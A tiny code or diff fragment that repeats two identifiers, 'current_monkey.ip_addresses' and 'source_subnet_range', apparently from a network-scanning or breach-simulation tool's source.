current_monkey.ip_addresses, current_monkey.ip_addresses,
source_subnet_range, source_subnet_range,